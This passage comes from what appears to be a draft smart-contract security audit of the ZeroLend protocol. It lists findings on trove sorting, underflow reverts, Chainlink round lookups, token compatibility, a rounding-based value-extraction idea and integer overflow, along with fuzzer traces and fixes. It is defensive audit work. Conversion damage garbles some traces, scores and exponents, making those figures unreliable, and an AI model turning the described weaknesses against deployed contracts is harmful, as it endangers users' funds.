17 WETHSortedTrove;User(0x4c47a4ddfec2201f680d62b27d9b75ab0b018366);
↳ NICR(86714615474625870)
18 WETHSortedTrove;User(0x3ddae45122d532c0d16b74090914632f782f3a0d);
↳ NICR(82959930622962335)
19 WETHSortedTrove;User(0x3da9ec92f2d6000cf3b794acb4d87aeb8eee88f0);
↳ NICR(64778001269593941)

```

Notice how the NICR of the user `0x38e027174013111b8bd9df4c039c4156a27a5589` (`496516922659871461`) is higher than `0x071150dbd19cf2b2dd3ed0b4e8fdb6a36a058c14` (`496512706185147513`) not respecting the descending order in the `SortedTroves` list.

Many logics of the ZeroLend protocol rely on the invariant that each Trove in the `SortedTroves` contract is always correctly sorted. Consequently,

it is recommended to consider executing an extra check on the `SortedTroves` list after `withdrawColl()` is called that ensures that this linked list is correctly sorted and, otherwise, reorder it accordingly.

Debug with the State Fuzzer:

In order to see this issue being triggered with the full call trace in the `state fuzzer`, run the following command:

Listing 8

```
1 export FUZZ_ENTROPY=$(echo -n 3378); forge test -vvvv --match-  
↳ contract Fuzzer --match-test test_all_properties
```

BVSS:

A0:A/AC:L/AX:L/C:N/I:H/A:N/D:N/Y:N/R:N/S:U (7.5)

Recommendation:

It is recommended to consider executing an extra check on the `SortedTroves` list after `withdrawColl()` is called that ensures that this linked list is correctly sorted and, otherwise, reorder it accordingly.

4.5 (HAL-05) PROTOCOL IS HIGHLY UNSTABLE UNDER SOME CONDITIONS - MEDIUM (5.0)

Commit IDs affected:

- [1848bfafcf7989255bfb5321d02c5421c0ddcce6](#)

Description:

After an extensive fuzzing session, multiple issues were uncovered, especially in situations where the active trove count was very low. These issues were really uncommon, although they involved:

1. Reverts on liquidations:

```

- [21414] TroveManager::closeTroveByLiquidation(0x4929005dc47fc37bf770C0361B9074aF95502A767)
  |- emit DebugUint(a: "debtBefore": b: 7529592223564294174374 [7..52e21])
  |  [- [368] SortedTroves::getsize() [staticcall]
  |    [- 2
  |      emit TroveIndexUpdated(_borrower: 0x1e7291750Cca7d4c248a7b3AB28C090E6693D4, _newIndex: 0)
  |      emit DebugUint(a: "sortedTroves.getsize()", b: 2)
  |      [- [389] SortedTroves::remove(0x4929005dc47fc37bf770C0361B9074aF95502A767)
  |        |- emit NodeRemoved_id: 0x4929005dc47fc37bf770C0361B9074aF95502A767
  |        [- [368] SortedTroves::getsize() [staticcall]
  |          emit DebugUint(a: "sortedTroves.getsize()", b: 1)
  |          emit TroveUpdated(_borrower: 0x4929005dc47fc37bf770C0361B9074aF95502A767, _debt: 0, _coll: 0, _stake: 0, operation: 3)
  |          [- ()]
  |          [- [427] TroveManager::closeTroveByLiquidation()
  |            |- emit DebugUint(a: "debtBefore": b: 7529592223564294171E3D053a9C909f024F110911a2]
  |            [- [11238] StabilityPool::offset(WrappedLendingCollateral: [0x7E5A86E0e0171E3D053a9C909f024F110911a2], 7527279157329465465930 [7..52e21], 4729557859573236614949 [4..729e22])
  |              [- [1095] PrimoVault::locateNewEmissions(0)
  |                |- emit P_Updated(id: 1, S: 781956822830224708806314987070773 [7..819e35], _epoch: 0, _scale: 0)
  |                emit P_Updated(P: 640490761057470 [6..404e10])
  |                emit StabilityPoolDebtBalanceUpdated(newBalance: 2037024997672977599188403 [2..837e24])
  |              [- [35458] TroveManager::decreaseDebtSendCollateral([0x105ea1Ed1121177464b754344C60a5999480739], 7527279157329465465930 [7..52e21], 4729557859573236614949 [4..729e22])
  |                [- [36353] DebtTokenOneProxy::burn(StabilityPool: [0x105ea1Ed1121177464b754344C60a5999480739], DebtTokenOneProxy: [0x3f574d48CcB4f129be889a8CbAC157B1D8f0ce8C], 7527279157329465465930 [7..52e21])
  |                  |- [36353] DebtTokenOneProxy::burn(7527279157329465465930 [7..52e21])
  |                    |- true
  |                    |- [5129] DebtTokenOneProxy::transferFrom(DebtTokenOneProxy: [0x3f574d48CcB4f129be889a8CbAC157B1D8f0ce8C], to: DebtTokenOneProxy: [0x3f574d48CcB4f129be889a8CbAC157B1D8f0ce8C], value: 7527279157329465465930 [7..52e21])
  |                      |- emit FacilitatorBucketLevelUpdated(facilitatorAddress: DebtTokenOneProxy: [0x3f574d48CcB4f129be889a8CbAC157B1D8f0ce8C], oldLevel: 2206692825406882109511041 [2..206e21], newLevel: 219916554624875264494511 [2..199e24])
  |                        |- emit DebugUint(a: "totalActiveDebt", b: 6933138160922991647621 [6..933e21])
  |                          emit DebugUint("amount": 752729157329465465930 [7..52e21])
  |                            |- panic: arithmetic underflow or overflow (0x11)
  |                          |- panic: arithmetic underflow or overflow (0x11)
  |                        |- panic: arithmetic underflow or overflow (0x11)
  |                      |- panic: arithmetic underflow or overflow (0x11)
  |                    |- panic: arithmetic underflow or overflow (0x11)
  |                  |- panic: arithmetic underflow or overflow (0x11)
  |                |- panic: arithmetic underflow or overflow (0x11)
  |              |- panic: arithmetic underflow or overflow (0x11)
  |            |- panic: arithmetic underflow or overflow (0x11)
  |          |- panic: arithmetic underflow or overflow (0x11)
  |        |- panic: arithmetic underflow or overflow (0x11)
  |      |- panic: arithmetic underflow or overflow (0x11)
  |    |- panic: arithmetic underflow or overflow (0x11)
  |  |- panic: arithmetic underflow or overflow (0x11)
  |- panic: arithmetic underflow or overflow (0x11)
Test result: FAILED: 0 passed; 1 failed; 0 skipped; finished in 2.51s
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing test:
Encountered 1 failing test in test/fuzzer/Fuzzer.sol:Fuzzer
[FAIL. Reason: panic: arithmetic underflow or overflow (0x11) test_all_properties() (gas: 610225418)
```

2. Reverts when repaying debt:

Debug with the State Fuzzer:

In order to see these issues being triggered with the full call trace in the `state_fuzzer`, run the following command:

Listing 10

```
1 # Failed liquidation
2 export FUZZ_ENTROPY=$(echo -n 32362); forge test -vvvv --match-
↳ contract Fuzzer --match-test test_all_properties
3 # Underflow
4 export FUZZ_ENTROPY=$(echo -n 12578); forge test -vvvv --match-
↳ contract Fuzzer --match-test test_all_properties
```

BVSS:

A0:A/AC:L/AX:L/C:N/I:M/A:N/D:N/Y:N/R:N/S:U (5.0)

Recommendation:

It is recommended that every time `totalActiveDebt` is decreased, the subtracted value is always lower or equal than it. If higher, `totalActiveDebt` should simply be set to 0.

4.6 (HAL-06) CHAINLINK PRICEFEED.GETROUNDDATA(LASTROUNDID - 1) COULD RETURN A FALSE OR BROKEN ANSWER, TRIGGERING THE PRIMARY ORACLE BROKEN PATH - MEDIUM (5.0)

Commit IDs affected:

- 1848bfafcf7989255bfb5321d02c5421c0ddcce6

Description:

When the `PriceFeed` contract executes the `fetchPrice()` function, it gathers the current Chainlink response and the previous one by executing the following code:

Listing 11: `PriceFeed.sol` (Line 419)

```
390 function _fetchCurrentFeedResponse(
391     IAggregatorV3Interface _priceAggregator
392 ) internal view returns (FeedResponse memory response) {
393     try _priceAggregator.latestRoundData() returns (
394         uint80 roundId,
395         int256 answer,
396         uint256 /* startedAt */,
397         uint256 timestamp,
398         uint80 /* answeredInRound */
399     ) {
400         // If call to Chainlink succeeds, return the response and
401         ↳ success = true;
402         response.roundId = roundId;
403         response.answer = answer;
404         response.timestamp = timestamp;
405         response.success = true;
406     } catch {
407         // If call to Chainlink aggregator reverts, return a zero
408         ↳ response with success = false
409         return response;
410     }
```

```

409 }
410
411 function _fetchPrevFeedResponse(
412     IAggregatorV3Interface _priceAggregator,
413     uint80 _currentRoundId
414 ) internal view returns (FeedResponse memory prevResponse) {
415     if (_currentRoundId == 0) {
416         return prevResponse;
417     }
418     unchecked {
419         try _priceAggregator.getRoundData(_currentRoundId - 1)
420     returns (
421         uint80 roundId,
422         int256 answer,
423         uint256 /* startedAt */,
424         uint256 timestamp,
425         uint80 /* answeredInRound */
426     ) {
427         prevResponse.roundId = roundId;
428         prevResponse.answer = answer;
429         prevResponse.timestamp = timestamp;
430         prevResponse.success = true;
431     } catch {}
432 }

```

The `roundID` returned by the `latestRoundData()` and `getRoundData()` is not the `roundID` of the Price Aggregator, but is the `roundID` of the Price Feed Proxy that internally will call the aggregator. The “proxyRoundId” is a composed value that internally stores two information:

- `phaseID`: which was the `phaseId` when the query was made. By knowing the phase, we can understand what is the aggregator that has been used.
- `aggregatorRoundId`: which is the internal `roundId` from which the price comes from. This makes sense only for the aggregator used in the phase.

There could be multiple cases where executing `priceFeed.getRoundData(currentProxyRoundId - 1)` will return an invalid answer:

- The proxy has switched to a new PriceAggregator and the `phaseId` inside the Proxy has increased.
- The `currentProxyRoundId - 1` would revert for underflow or return a wrong answer because `aggregatorRoundId` is equal to the first valid ID.

If the `currentProxyRoundId - 1` produces an invalid `roundId`, the Price Feed Proxy will return an invalid answer, but this does not mean that the real previous data on the proxy does not exist or that a real error has occurred. In those cases, the Price Feed will interpret it as an exception and will not trust the Chainlink oracle, returning the last price stored, which in case of being a stale price, would revert, blocking the protocol.

References:

- Official Chainlink Documentation about “Getting Historical Data”

BVSS:

A0:A/A:C:L/AX:L/C:N/I:M/A:N/D:N/Y:N/R:N/S:U (5.0)

Recommendation:

Currently, there is not a clear way to easily and correctly retrieve the safe `previousRoundId`. The ZeroLend team should monitor those reverts events to understand if the reverts were real or because of a miscalculation of the `previousRoundId`.

4.7 (HAL-07) INCOMPATIBILITY WITH NON-STANDARD ERC20 TOKENS - LOW (2.5)

Commit IDs affected:

- [1848bfafcf7989255bfb5321d02c5421c0ddcce6](#)

Description:

In the following contracts, a call to `transfer()` or `approve()` is executed using the `IERC20` interface:

`WrappedLendingCollateral.sol`

- Line 48:
`aToken.approve(address(_pool), type(uint256).max);`
- Line 49:
`IERC20(underlying).approve(address(_pool), type(uint256).max);`

`BaseDelegate.sol`

- Line 27:
`collateral.approve(address(b0), type(uint256).max);`
- Line 28:
`collateral.approve(address(tm), type(uint256).max);`
- Line 29:
`debt.approve(address(b0.debtToken()), type(uint256).max);`
- Line 80:
`debt.transferFrom(msg.sender, address(this), _debtChange);`
- Line 101:
`debt.transferFrom(`

`ERC20Delegate.sol`

- Line 18:
`underlying.approve(address(collateral), type(uint256).max);`
- Line 22:
`if (amt > 0)underlying.transferFrom(msg.sender, address(this), amt);`
- Line 31:
`underlying.approve(address(collateral), type(uint256).max);`

```
if (balDebt > 0)debt.transfer(to, balDebt);
- Line 32:
if (balUnderlying > 0)underlying.transfer(to, balUnderlying);

WETHDelegate.sol
- Line 50:
if (balDebt > 0)debt.transfer(to, balDebt);

AllocationVesting.sol
- Line 256:
vestingToken.transferFrom(vault, msg.sender, claimable);

TokenLocker.sol
- Line 858:
lockToken.transfer(msg.sender, unlocked * lockToTokenRatio);
- Line 898:
lockToken.transfer(msg.sender, amountToWithdraw);
- Line 993:
lockToken.transfer(msg.sender, amountToWithdraw);
- Line 994:
lockToken.transfer(prismaCore.feeReceiver(), penaltyTotal);

Vault.sol
- Line 279:
prismaToken.transferFrom(msg.sender, address(this), amount);
- Line 540:
prismaToken.transfer(receiver, amount);

BorrowerOperations.sol
- Line 101:
debtToken.underlying().approve(address(debtToken), type(uint256).max);

DebtTokenOnezProxy.sol
- Line 73:
onez.transferFrom(_account, address(this), _amount);
- Line 74:
onez.transferFrom(gasPool, address(this), DEBT_GAS_COMPENSATION);
- Line 89:
```

```
onez.transferFrom(_account, address(this), _amount);
- Line 98:
onez.transferFrom(_sender, msg.sender, _amount);
- Line 110:
onez.transferFrom(_poolAddress, _receiver, _amount);

StabilityPool.sol
- Line 165:
debtToken.underlying().approve(address(debtToken), type(uint256).max);

TroveManager.sol
- Line 267:
debtToken.underlying().approve(address(debtToken), type(uint256).max);
```

In some tokens like `USDT` their `transfer()` and `approve` functions do not return a `bool`:

Listing 12: USDT token transfer function (Line 126)

```
121 /**
122 * @dev transfer token for a specified address
123 * @param _to The address to transfer to.
124 * @param _value The amount to be transferred.
125 */
126 function transfer(address _to, uint _value) public onlyPayloadSize
127   (2 * 32) {
128     uint fee = (_value.mul(basisPointsRate)).div(10000);
129     if (fee > maximumFee) {
130       fee = maximumFee;
131     }
132     uint sendAmount = _value.sub(fee);
133     balances[msg.sender] = balances[msg.sender].sub(_value);
134     balances[_to] = balances[_to].add(sendAmount);
135     if (fee > 0) {
136       balances[owner] = balances[owner].add(fee);
137       Transfer(msg.sender, owner, fee);
138     }
139 }
```

Listing 13: USDT token approve function (Line 199)

```
199 function approve(address _spender, uint _value) public
↳ onlyPayloadSize(2 * 32) {
200
201     // To change the approve amount you first have to reduce the
↳ addresses'
202     // allowance to zero by calling `approve(_spender, 0)` if it
↳ is not
203     // already 0 to mitigate the race condition described here:
204     // https://github.com/ethereum/EIPs/issues/20#issuecomment
↳ -263524729
205     require(!(_value != 0) && (allowed[msg.sender][_spender] !=
↳ 0));
206
207     allowed[msg.sender][_spender] = _value;
208     Approval(msg.sender, _spender, _value);
209 }
```

IERC20 interface expects a `bool` as a return of the `transfer()` and `approve()` calls. In these situations, if the token used was, for example, USDT, the `IRC20.transfer()` or `IRC20.approve()` calls would revert.

BVSS:

A0:A/A:C:L/A:X:L/C:N/I:L/A:N/D:N/Y:N/R:N/S:U (2.5)

Recommendation:

It is recommended to use `OpenZeppelin's safeTransfer()` function instead of `transfer()`.

It is also recommended to use `OpenZeppelin's forceApprove()` function instead of `approve()`.

4.8 (HAL-08) TOKENS WITH NON-18 DECIMALS ARE NOT SUPPORTED - LOW (2.5)

Commit IDs affected:

- 1848bfafcf7989255bfb5321d02c5421c0ddcce6

Description:

Collateral values are never normalized based on their decimal values before being used in calculations where all other values are 18 decimals and the return value is expected to be 18 decimals. For example:

Listing 14: WrappedLendingCollateral.sol (Line 56)

```
52 function mint(uint256 amount) external payable override
↳ nonReentrant {
53     underlying.safeTransferFrom(msg.sender, address(this), amount)
↳ ;
54
55     _mint(msg.sender, amount);
56     pool.supply(address(underlying), amount, address(this), 0);
57 }
```

This means that non-18 decimal collaterals are incompatible with the system. Since governance controls the addition of collaterals, this issue is currently easy to avoid and thus low severity.

BVSS:

A0:A/AC:L/AX:L/C:N/I:L/A:N/D:N/Y:N/R:N/S:U (2.5)

Recommendation:

No action is strictly necessary; if desired, non-18 decimal collaterals can be supported by normalizing collateral input and output amounts to

18 decimals appropriately:

Listing 15: WrappedLendingCollateral.sol (Lines 55,64)

```
52 function mint(uint256 amount) external payable override
↳ nonReentrant {
53     uint256 _decimals = IERC20Metadata(address(underlying)).
↳ decimals();
54     if(_decimals != 18){
55         underlying.safeTransferFrom(msg.sender, address(this),
↳ amount / (10 ** _decimals));
56     }
57     else{
58         underlying.safeTransferFrom(msg.sender, address(this),
↳ amount);
59     }
60
61     _mint(msg.sender, amount);
62
63     if(_decimals != 18){
64         pool.supply(address(underlying), amount / (10 ** _decimals
↳ ), address(this), 0);
65     }
66     else{
67         pool.supply(address(underlying), amount, address(this), 0)
↳ ;
68     }
69 }
```

4.9 (HAL-09) LIQUIDATIONS ROUND IN FAVOR OF TROVES, AGAINST THE STABILITY POOL - LOW (2.5)

Commit IDs affected:

- [1848bfafcf7989255bfb5321d02c5421c0ddcce6](#)

Description:

The divisions to calculate the collateral to send to the stability pool in liquidations round against the stability pool. At extreme values (e.g. very low trove debt, very high total debt, and very high collateral price), it is possible for the amount of collateral taken in a liquidation to round to zero.

This would potentially allow for the extraction of value by actors that open small troves and liquidate them themselves when prices drop (so that they receive the gas compensation as well). Fortunately, this should not be possible at typical values. Even in an extreme example with a 103 debt trove, 1010 total debt, and a 109-collateral price, there are still about 5 orders of magnitude safety margin for the calculation on [LiquidationManager.sol#L630](#). However, governance should be aware of this risk as the system grows, and more collaterals are added.

BVSS:

A0:A/AC:L/AX:L/C:N/I:L/A:N/D:N/Y:N/R:N/S:U (2.5)

Recommendation:

Avoid adopting collaterals with extremely high prices. A more robust solution would be to use upwards-rounding division on these lines, but this requires further changes to avoid rounding up to amounts that exceed the collateral of a given trove (which would be unfair to other troves). Thus, round-up semantics may add more complexity than they are worth.

4.10 (HAL-10) DANGEROUS INT256 CASTING TO UINT256 - LOW (2.5)

Commit IDs affected:

- [1848bfafcf7989255bfb5321d02c5421c0ddcce6](#)

Description:

Multiple functions in the `PriceFeed` contract employ Chainlink's pricefeeds to retrieve a value of type `int256`. However, without any validation checks, this value is immediately cast to an `uint256` type, potentially leading to a silent overflow in the event that the oracle returns a negative value. Thus, the cast to `uint256` may produce unexpected behavior and introduce subtle bugs or vulnerabilities in subsequent operations.

Moreover, the `_isValidResponse()` function simply checks if the `answer` is different from zero, accepting negative values as valid as well:

Listing 16: `PriceFeed.sol` (Line 316)

```
308 function _isValidResponse(
309     FeedResponse memory _response
310 ) internal view returns (bool) {
311     return
312         (_response.success) &&
313         (_response.roundId != 0) &&
314         (_response.timestamp != 0) &&
315         (_response.timestamp <= block.timestamp) &&
316         (_response.answer != 0);
317 }
```

Code Location:

- Line 244:
`uint256(_currResponse.answer),`
- Line 325:
`uint256(_currResponse.answer),`

- Line 329:
`uint256(_prevResponse.answer),`
- Line 382:
`scaledPrice: uint256(_price),`

BVSS:

A0:A/AC:L/AX:L/C:N/I:L/A:N/D:N/Y:N/R:N/S:U (2.5)

Recommendation:

Although it is highly unlikely for the oracle to return negative values in this specific use case, it is advisable to implement a validation step to ensure that the returned value is non-negative. By performing this check before the cast, the code can detect any exceptional cases where negative values might be returned (such as when querying the price feed of futures). This preventive measure will mitigate the risk of silent overflow and help maintain the expected behavior and integrity of the PriceFeed contract.

4.11 (HAL-11) USE THE PROXY PATTERN AT THE EARLY STAGE OF THE PROTOCOL - LOW (2.5)

Commit IDs affected:

- [1848bfafcf7989255bfb5321d02c5421c0ddcce6](#)

Description:

zkSync Era is based on the zk-friendly VM. Thus, they offer a dedicated compiler responsible for transforming conventional Solidity and Vyper code into zkEVM bytecode.

While they have an extensive test coverage to ensure EVM compatibility, issues may still appear. The zkSync team states that patches for any of these possible issues will be implemented in a timely manner.

To integrate a compiler bug fix, projects deployed in zkSync will need to recompile and upgrade their smart contracts.

Consequently, it is recommended to use the Proxy pattern for a few months after the first deployment on zkSync Era, even if it is planned to migrate to immutable contracts in the future.

References:

- [ZkSync documentation](#)

BVSS:

A0:A/AC:L/AX:L/C:N/I:L/A:N/D:N/Y:N/R:N/S:U (2.5)

Recommendation:

It is recommended to use the Proxy pattern for a few months after the first deployment on zkSync Era, even if it is planned to migrate to immutable contracts in the future. The [hardhat-zksync-upgradeable](#) plugin is available in order to create proxies.

DRAFT

4.12 (HAL-12) COLLATERALGAINSBYDEPOSITOR ARE LIMITED TO TYPE(UINT80).MAX - LOW (2.5)

Commit IDs affected:

- 1848bfafcf7989255bfb5321d02c5421c0ddcce6

Description:

In the `StabilityPool` contract the `collateralGainsByDepositor` mapping is limited to the `type(uint80).max` value, or which is the same, 1208925819614629174706175:

Listing 17

```
1 mapping(address depositor => uint80[256] gains) public
↳ collateralGainsByDepositor;
```

Consequently, the following 2 risks were identified in the `_accrueDepositorCollateralGain()` function:

Listing 18: StabilityPool.sol (Lines 671-675)

```
641 function _accrueDepositorCollateralGain(
642     address _depositor
643 ) private returns (bool hasGains) {
644     uint80[256] storage depositorGains =
↳ collateralGainsByDepositor[
645         _depositor
646     ];
647     uint256 collaterals = collateralTokens.length;
648     uint256 initialDeposit = accountDeposits[_depositor].amount;
649     hasGains = false;
650     if (initialDeposit == 0) {
651         return hasGains;
652     }
```

```

653
654     uint128 epochSnapshot = depositSnapshots[_depositor].epoch;
655     uint128 scaleSnapshot = depositSnapshots[_depositor].scale;
656     uint256 P_Snapshot = depositSnapshots[_depositor].P;
657
658     uint256[256] storage sums = epochToScaleToSums[epochSnapshot][
659         scaleSnapshot
660     ];
661     uint256[256] storage nextSums = epochToScaleToSums[
662         epochSnapshot ][
663             scaleSnapshot + 1
664         ];
665     uint256[256] storage depSums = depositSums[_depositor];
666
667     for (uint256 i = 0; i < collaterals; i++) {
668         if (sums[i] == 0) continue; // Collateral was overwritten
669         or not gains
670         hasGains = true;
671         uint256 firstPortion = sums[i] - depSums[i];
672         uint256 secondPortion = nextSums[i] / SCALE_FACTOR;
673         depositorGains[i] += uint80(
674             (initialDeposit * (firstPortion + secondPortion)) /
675             P_Snapshot /
676             DECIMAL_PRECISION
677         );
678     }
679     return (hasGains);
680 }
```

1. If the operation `uint80((initialDeposit * ...))` results in a value higher than `type(uint80).max` it will silently overflow, not assigning to the user the right rewards. Most of these rewards would be lost by the user.
2. If `depositorGains[i] + uint80((initialDeposit * ...))` results in a value higher than `type(uint80).max` it would cause a revert. This revert would not allow the user to deposit into the SP until these rewards were claimed.

Proof of Concept:

In this example, we can see how the `provideToSp()` call reverts as `depositorGains[i] + uint80((initialDeposit * ...)` results in a value higher than `type(uint80).max`:

```

[61169] StabilityPool::provideToSP(349204509603917153765672 [3.492e23])
  |- [417] PrismaCore::paused() [staticcall]
    |- _ false
  |- [1095] PrismaVault::allocateNewEmissions(0)
    |- _ 0
  emit DebugUint(a: "here", b: 2)
  emit DebugUint(a: "sums[i]", b: 439029514730367484405208313825445 [4.39e32])
  emit DebugUint(a: "depSums[i]", b: 439029514730367484405208313825445 [4.39e32])
  emit DebugUint(a: "nextSums[i]", b: 0)
  emit DebugUint(a: "depositorGains[i]", b: 30529568554152213696 [3.052e19])
  emit DebugUint(a: "firstPortion", b: 0)
  emit DebugUint(a: "secondPortion", b: 0)
  emit DebugUint(a: "initialDeposit", b: 163526647211539477017968 [1.635e23])
  emit DebugUint(a: "firstPortion", b: 0)
  emit DebugUint(a: "P_Snapshot", b: 35584442170834489 [3.558e16])
  emit DebugUint(a: "type(uint80).max", b: 1208925819614629174706175 [1.208e24])
  emit DebugUint(a: "depositorGains[i]", b: 30529568554152213696 [3.052e19])
  emit DebugUint(a: "operation", b: 0)
  emit DebugUint(a: "depositorGains[i]", b: 30529568554152213696 [3.052e19])
  emit DebugUint(a: "sums[i]", b: 226014172333578382549663965574917395 [2.26e35])
  emit DebugUint(a: "depSums[i]", b: 215475255335584150516459781252725387 [2.154e35])
  emit DebugUint(a: "nextSums[i]", b: 0)
  emit DebugUint(a: "depositorGains[i]", b: 1180686268131661347529029 [1.18e24])
  emit DebugUint(a: "firstPortion", b: 10538916997994232033204184322192008 [1.053e34])
  emit DebugUint(a: "secondPortion", b: 0)
  emit DebugUint(a: "initialDeposit", b: 163526647211539477017968 [1.635e23])
  emit DebugUint(a: "firstPortion", b: 10538916997994232033204184322192008 [1.053e34])
  emit DebugUint(a: "P_Snapshot", b: 35584442170834489 [3.558e16])
  emit DebugUint(a: "type(uint80).max", b: 1208925819614629174706175 [1.208e24])
  emit DebugUint(a: "depositorGains[i]", b: 1180686268131661347529029 [1.18e24])
  emit DebugUint(a: "operation", b: 48431102380332305139717 [4.843e22])
  |- panic: arithmetic underflow or overflow (0x11)
  |- panic: arithmetic underflow or overflow (0x11)

Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.74s

```

Debug with the State Fuzzer:

In order to see these issues being triggered with the full call trace in the `state fuzzer`, run the following command:

Listing 19

```
1 export FUZZ_ENTROPY=$(echo -n 29230); forge test -vvvv --match-
↳ contract Fuzzer --match-test test_all_properties
```

BVSS:

A0:A/AC:L/AX:L/C:N/I:L/A:N/D:N/Y:N/R:N/S:U (2.5)

Recommendation:

Evaluate if `1.208.925,81` ONEZ tokens as `depositorGains` is a value big enough that will never be reached interacting with the `StabilityPool`. If not, consider incrementing the `collateralGainsByDepositor` type to a higher integer type to avoid the 2 scenarios described.

4.13 (HAL-13) UNOPTIMIZED LOOPS - INFORMATIONAL (0.0)

Commit IDs affected:

- [1848bfafcf7989255bfb5321d02c5421c0ddcce6](#)

Description:

When a loop iterates many times, it causes the amount of gas required to execute the function to increase significantly. In Solidity, excessive looping can cause a function to use more than the maximum allowed gas, which causes the function to fail.

Code Location:

Vault.sol

- Line 159:

```
for (uint256 i = 0; i < length; i++){
```

- Line 167:

```
for (uint256 i = 0; i < length; i++){
```

- Line 197:

```
for (uint256 i = 0; i < count; i++){
```

- Line 409:

```
for (uint256 i = 0; i < length; i++){
```

TokenLocker.sol

- Line 284:

```
for (uint256 i = 0; x != 0; i++){
```

- Line 333:

```
for (uint256 weeksToUnlock = 1; weeksToUnlock < MAX_LOCK_WEEKS;  
weeksToUnlock++)
```

- Line 615:

```
for (uint256 i = 0; i < length; i++){
```

- Line 691:

```
for (uint256 i = 0; i < length; i++){
```

- Line 917:

```
for (uint256 weeksToUnlock = 1; weeksToUnlock < MAX_LOCK_WEEKS;  
weeksToUnlock++)
```

AllocationVesting.sol

- Line 81:
for (uint256 i; i < loopEnd;){

IncentiveVoting.sol

- Line 116:
for (uint256 i = 0; i < length; i++){

- Line 482:
for (; idx < length; idx++){

- Line 515:
for (uint256 i = 0; i < length; i++){

- Line 542:
for (uint256 i = 0; i < length; i++){

- Line 607:
for (uint256 i = 0; i < votes.length; i++){

- Line 613:
for (uint256 x = 0; x < lockLength; x++){

- Line 633:
for (uint256 i = 0; i < lockLength; i++){

- Line 653:
for (uint256 i = 0; i < length; i++){

- Line 683:
for (uint256 i = 0; i < votes.length; i++){

- Line 688:
for (uint256 x = 0; x < lockLength; x++){

- Line 708:
for (uint256 i = 0; i < lockLength; i++){

- Line 729:
for (uint256 i = 0; i < length; i++){

PriceFeed.sol

- Line 87:
for (uint i = 0; i < oracles.length; i++){

BorrowerOperations.sol

```
- Line 170:  
for (uint256 i; i < loopEnd; ){  
- Line 757:  
for (uint256 i; i < loopEnd; ){  
  
TroveManager.sol  
- Line 1183:  
for (uint256 i = 0; i < 7; i++){  
  
StabilityPool.sol  
- Line 172:  
for (uint256 i = 0; i < length; i++){  
- Line 212:  
for (uint128 i; i <= externalLoopEnd; ){  
- Line 213:  
for (uint128 j; j <= internalLoopEnd; ){  
- Line 628:  
for (uint256 i = 0; i < collateralGains.length; i++){  
- Line 666:  
for (uint256 i = 0; i < collaterals; i++){  
- Line 854:  
for (uint256 i; i < loopEnd; ){  
- Line 880:  
for (uint256 i = 0; i < length; i++){  
- Line 905:  
for (uint256 i = 0; i < length; i++){  
  
TroveManagerGetters.sol  
- Line 36:  
for (uint i = 0; i < length; i++){  
- Line 40:  
for (uint x = 0; x < length; x++){  
- Line 50:  
for (uint i = 0; i < collateralCount; i++){  
- Line 54:  
for (uint x = 0; x < length; x++){  
- Line 63:  
for (uint x = 0; x < tmCollCount; x++){
```

- Line 80:
for (uint i = 0; i < length; i++){

MultiTroveGetter.sol
- Line 76:
for (uint256 idx = 0; idx < _startIdx; ++idx){
- Line 82:
for (uint256 idx = 0; idx < _count; ++idx){
- Line 112:
for (uint256 idx = 0; idx < _startIdx; ++idx){
- Line 118:
for (uint256 idx = 0; idx < _count; ++idx){

BVSS:

A0:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:F/S:C (0.0)

Recommendation:

To reduce gas consumption, it is recommended to find ways to optimize the loop or potentially break the loops into smaller batches. The following pattern can also be used:

Listing 20

```
1 uint256 cachedLen = array.length;
2 for(uint i; i < cachedLen;){
3
4     unchecked {
5         ++i;
6     }
7 }
```

RECOMMENDATIONS OVERVIEW

1. Update the `openTrove()` function logic so it is not possible to open any trove that borrows the collateral debt limit. Instead, the function should enforce that the maximum amount that can be borrowed is `Collateral debt limit - minNetDebt - gasCompensation`.
2. Update the `TroveManager._updateStakeAndTotalStakes()` function so it follows the check-effects-interactions pattern. This can be achieved by calling `_sendCollateral(_receiver, _collChange)`; as the last step in the function.
3. Add a check in the `redeemCollateral()` function that enforces that the TCR is never decreased after a redemption.
4. Consider executing an extra check on the `SortedTroves` list after `withdrawColl()` is called that ensures that this linked list is correctly sorted and, otherwise, reorder it accordingly.
5. Every time `totalActiveDebt` is decreased, the subtracted value is always lower or equal than it. If higher, `totalActiveDebt` should simply be set to 0.
6. Monitor any `PriceFeed` revert events to understand if the revert is real or because of a miscalculation of the `previousRoundId`.
7. Use OpenZeppelin's `safeTransfer()` function instead of `transfer()`.
8. Use OpenZeppelin's `forceApprove()` function instead of `approve()`.
9. Avoid adopting collaterals with extremely high prices.
10. Implement a validation step to ensure that the returned value/answer from Chainlink Price Feeds is non-negative.
11. Use the Proxy pattern for a few months after the first deployment on zkSync Era, even if it is planned to migrate to immutable contracts in the future. The `hardhat-zksync-upgradeable` plugin is available in order to create proxies.
12. Evaluate if `1.208.925,81` ONEZ tokens as `depositorGains` is a value big enough that will never be reached when interacting with the `StabilityPool`. If not, consider incrementing the `collateralGainsByDepositor` type to a higher integer type to avoid the 2 scenarios described.
13. To reduce gas consumption in loops, it is recommended to optimize them as suggested.



FUZZ TESTING

DRAFT

FUZZ TESTING

Fuzz testing is a testing technique that involves sending randomly generated or mutated inputs to a target system to identify unexpected behavior or vulnerabilities. In the context of smart contract assessment, fuzz testing can help identify potential security issues by exposing the smart contracts to a wide range of inputs that they may not have been designed to handle.

In this assessment, we conducted comprehensive fuzzing tests on the ZeroLend protocol contracts to assess their resilience to unexpected inputs. Our goal was to identify any potential vulnerabilities or flaws that could be exploited by an attacker or any wrong or unintended logic.

The following section provides a detailed description of the fuzzing methodology we used and the tools we employed. We believe that this information will be useful in helping the development team to understand and address the identified vulnerabilities, thereby improving the overall security posture of the protocol.

Foundry is a smart contract development toolchain, and it was used to perform all the [fuzz testing](#).

6.1 FUZZ TESTING SCRIPTS

In order to perform the fuzz testing, 5 different files were created:

- `Fuzzer.sol`: Implements the core logic of the fuzzer.
- `FuzzHelper.sol`: Implements all the wrappers used to call the different functions in the protocol. The whole project deployment is also defined in this file.
- `FuzzProperties.sol`: Implements all the functions used to test different properties/invariants.
- `FuzzRandomizer.sol`: Contract used to generate random numbers.
- `FuzzStorage.sol`: Contract used to hold the storage of the fuzzer.

These files were pushed to the following repository:

[Halborn_ZeroLend_Fuzzer](#)

6.2 SETUP INSTRUCTIONS

To run the fuzzer a single run:

Listing 21

```
